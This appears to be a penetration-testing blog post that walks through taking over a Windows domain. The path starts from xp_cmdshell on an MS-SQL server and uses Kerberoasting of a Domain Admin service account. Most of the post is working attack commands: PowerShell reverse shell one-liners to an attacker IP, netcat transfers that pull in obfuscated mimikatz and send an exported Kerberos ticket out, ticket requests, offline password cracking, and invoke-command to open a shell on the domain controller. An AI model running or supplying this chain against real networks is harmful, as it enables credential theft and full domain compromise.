Remember my last post, the “SYSTEM” challenge? Now let’s modify the scenario….

Imagine you’ve got the xp_cmdshell running under this account:

os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
[21:52:27] [INFO] theQL query used returns 1 entries
[21:52:27] [INFO] retrieved: dummydomain\\andrew
command standard output [1]: 
[*] dummydomain\andrew

 

Oh! This MS-SQL server is running under a domain account, nice catch!

First of all let’s move to a stable powershell terminal with our reverse script (the server can connect to the internet on ports 80 and 443)

os-shell>powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<our_public_ip>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

So what are our privileges?

Let’s take a look at the groups we belong to…

PS C:\windows\system32\> net user andrew /domain
---snip--
Local Group Memberships 
Global Group memberships *Domain Users 
The command completed successfully.

PS C:\Windows\system32> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
DUMMYDOMAIN\Domain Admins
The command completed successfully.

PS C:\Windows\system32>cmd /c echo %COMPUTERNAME%
SQLSRV1
PS C:\Windows\system32>cmd /c echo %USERDOMAIN%
DUMMYDOMAIN

Hmm.. bad news .. we are simple “Domain Users” and our main goal is to escalate privileges, possibly becoming domain admins, mission impossible?  Never say never…

All the techniques explained in the posts before doesn’t work, so let’s try something completely different.

All we have is a valid domain user session and no special privileges.  Time to rethink our approach..

Introducing  the “Silver Ticket”

First of all a little bit of theory  😉

In order to understand the “silver ticket” you have to know:

  • SPN Service Principal Names :”A service principal name (SPN) is a unique identifier of a service instance.  SPNs are used by Kerberos authentication to associate a service instance with a service logon account.”. SPN are identified by the service name, the host on which the service is running and the account.
  •  Service Tickets ares issued by the TGS (Ticket Granting Service) on the DC’s when you request access to a service identified by a specific SPN  and are encrypted with the account’s password in NTLM hash.
  • There are 2 types of accounts: Computer accounts whith random passwords which are regenerated by default every  30 days and  User accounts.
  • If a service with SPN  is running under a User Account,  the user’s password NTLM hash will be used for the Service Ticket creation
  • There are a lot of SPN’s related to services.   Each instance is registered in form service/host:<instance name> or <port>
  • SPN for some softwares (es: MSSQL) are automatically regsistered under certain conditions (they have to run under local system/network service or the user running the service has to have adequate privileges)
  • Any domain user can request Service tickets.
  • Requesting a ticket does not mean that you are granted to use this service
  • If a normal  user requests these tickets and exports them,  will he be able to crack the password?
  • Yes!  It’s possible to crack the password offline  with these fantastic tool: https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

Usually, services running under Domain Users Accounts are “special” users created only for these tasks. It’s no so uncommon for lazy admins to  choose  not “so strong” passwords  (it’s just a service account..)

This was the Silver Ticket! An excellent guide can be found here , even if a little bit outdated but some techniques are always valid.

Exploiting the Silver Ticket

Ok, enough theory, let’s do it!

First of all we have to identify the possible SPNs of these services. How? You can download several tools just googling around with the keywords “SPN enumeration tools” etc,  but we want to use built-in utilties and upload only the strict necessary!

Our windows tool is “setspn.exe” and that’s how we will use it  (we can list all spn’s containing “svc” in the service name just to narrow the search):

PS C:\windows\system32\>setspn -F -Q *svc/* 
MSSQLSvc/SRVSQL2.dummydomain.local:1433


We found an  SPN of  another MS-SQL service running on different server with a different account:

PS C:\windows\system32>setspn -F -Q MSSQLSvc/SRVSQL2.dummydomain.local:1433

CN=serviceuser,CN=Users,DC=dummycompany,DC=local
MSSQLSvc/SRVSQL2.dummydomain.local:1433

Who is “serviceuser”?

PS C:\windows\system32>net user serviceuser /domain

Local Group Memberships 
Global Group memberships *Domain Users *Domain Admins 
The command completed successfully.

 

Member of Domain Admins!

So we have identified a more than valid SPN, now we must request it, load it in memory and save the ticket to a file for offline cracking  and,  if it everything  works, we will get the user’s password.

How can we achieve it?

  • using the “System.IdentityModel” assembly in poweshell for requesting and loading  the Service ticket. This assembly is installed with MS-SQL server
  • mimikatz for exporting and manipulating the tickets

So we have to upload (or invoke directly) mimikatz, preferably the .ps1 obfuscated version. We can use the  Net.WebClient.Downloadxx methods but  remember, we will also need to upload the saved ticket on our machine for password cracking.

What about a simple upload/download .ps1 inliner script and netcat on  our machine?  A “poor man file transfer utility”, you got it!

First of all download our obfuscated version of mimikatz.ps1:

On our machine:

cat mimikatz.ps1 | nc -lvp 80

On SQLSRV1 PS terminal:

PS C:\Windows\system32>$c=New-Object System.Net.Sockets.TCPClient('our_ip',80);$s= $c.GetStream();[byte[]]$b=0..65535|%{0};while(($i = $s.Read($b,0,$b.Length)) -ne 0){;$d=$d+(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);}$client.Close();echo $d > m.ps1

Cool uh?  We redirected the output to m.ps1 et voila’. We have uploaded mimikatz!

Now we will proceed with requesting  the ticket and loading it in memory:

PS C:\tmp\> Add-Type -AssemblyName System.IdentityModel 
PS C:\tmp\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SRVSQL2.dummydomain.local:1433"

 

Id : uuid-fddcfe2e-196b-4f31-bb5e-9de0d312f4e1-2 SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKe y} ValidFrom : 3/6/2017 6:21:08 AM ValidTo : 3/6/2017 12:43:54 PM ServicePrincipalName : MSSQLSvc/SRVSQL2.dummysomain.local:1433 SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

It worked, let’s check .it:

PS C:\tmp\>klist

#2> Client: andrew @ DUMMYDOMAIN.LOCAL
 Server: MSSQLSvc/SRVSQL2.dummydomain.local @ DUMMYDOMAIN.LOCAL
 KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
 Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize 
 Start Time: 3/5/2017 18:56:52 (local)
 End Time: 3/6/2017 4:43:54 (local)
 Renew Time: 3/12/2017 18:43:54 (local)
 Session Key Type: RSADSI RC4-HMAC(NT)
 Cache Flags: 0 
 Kdc Called: DC1.dummydomain.local

Great! Ticket was loaded in memory. Next step is saving this precious ticket with mimikatz.

PS C:\tmp\>. .\m.ps1

PS C:\tmp\>Invoke-obfuscated -Command '"kerberos::list /export"'
PS C:\tmp\>dir *.kirbi

...
-a--- 3/5/2017 7:15 PM 1440 2-40a10000-andrew@mssqlsvc~srvsql2
 .dummydomain.local-dummmydomain.LO
 CAL.kirbi 

...

 

This is our ticket,  now we have to upload it on our machine.

Again we will use our .ps1 inliner script and netcat on our machine:

#nc -lvp 80 > silver.krb

and in our PS shell:

PS C:\tmp\>copy  2-40a10000-andrew@mssqlsvc~srvsql2.dummydomain.local-dummmydomain.LOCAL.kirbi sql.krb

PS C:\tmp\>$c=New-Object System.Net.Sockets.TCPClient('<our-ip>',80);$s=[System.IO.File]::ReadAllBytes("c:\TMP\sql.krb")$st=$client.GetStream();$st.Write($s,0,$s.Length);$st.Flush();$c.Close()

 

We have uploaded our ticket, now let’s try to crack the password….

#python ./tgsrepcrack.py ourwordlist.txt silver.krb

After a while, this wonderful message:

found password for ticket 0: Passw0rd File: silver.krb
All tickets cracked!

Good! We know the password. Last step is to obtain a shell with this account. We need a sort of “runas”, is it possible from our PS remote terminal?

Let’s try some tricks. First of all , we will “convert” our plaintext password in a secure string and then store the username/securepassword in a credential object:

PS C:\tmp>$user = 'dummydomain\serviceuser'
PS C:\tmp>$psw = 'Passw0rd'
PS C:\tmp>$secpsw= ConvertTo-SecureString $password -AsPlainText -Force
PS C:\tmp>$credential = New-Object System.Management.Automation.PSCredential $user, $secpsw

 

And then invoke the following command:

PS C:\tmp>invoke-command -credential $credential -computername SRVDC1 -scriptblock {$client = New-Object System.Net.Sockets.TCPClient('<our_ip>',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}

What are we doing? Launch a reverse shell on the specified computer (in this case the domain controller!) with the credentials of a different user.  Finger crossed and we should get a shell on SRVDC1 with domain admin rights (serviceuser):

PS C:\Users\serviceuser\Documents> whoami
mydomainb\serviceuser
PS C:\Users\serviceuser\Documents> cmd /c echo %computername%
SRVCDC1

Why did we launch “invoke-command” and not for example  “start-process”? Because start-process would not work, given that we are operating in SessionID 0, reserved exclusively for services and other non-interactive user application.

And from now on post-exploitation and lateral movement should start, but this is another story …

So, what was the problem in this case? A severe error, running Sqlserver with a user belonging to Domain Admin group (a bad practice) will register an SPN, and  a weak password will do the rest…

There are several other ways to exploit the Silver Ticket, and this was the easyest one. A good starting point could be here: https://adsecurity.org/?p=2011

That’s all 🙂

 

 

Advertisement

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s